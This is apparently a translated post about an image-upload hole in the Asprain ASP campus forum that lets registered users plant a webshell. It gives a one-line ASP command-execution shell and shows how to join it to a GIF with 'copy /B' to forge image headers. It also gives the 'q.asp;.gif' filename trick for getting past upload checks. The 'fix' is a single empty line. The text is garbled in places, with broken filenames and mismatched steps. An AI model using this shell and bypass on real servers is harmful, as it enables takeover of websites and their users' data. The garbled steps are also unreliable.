The registered Asprain Forum users can upload images to get webshellj and fix it.

Asprain is a campus forum suitable for primary and secondary schools, technical schools, vocational colleges, and teachers and students, some free forum programs for teaching and research departments, internal forums for corporate construction, and technical exchange forums for IT technology enthusiasts. It has two versions, asp + Access and asp + sqlServer, which have the same functions. website builders can select different versions based on their own needs.
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1.txt stores your sentence. Example: <% execute (request ("cmd") %>
2. gif is a small image file, which must be small, such as QQ emoticons.
3: copy/B 2.gif1_1.txt 3.gif. In this way, the file header is forged, but it cannot be uploaded now. I will use
4: copy/B 3.gif1_2.gif 4.asp OK. Now the file header and end are normal image files.
5.q.asp;.gif

Fixed: old problem...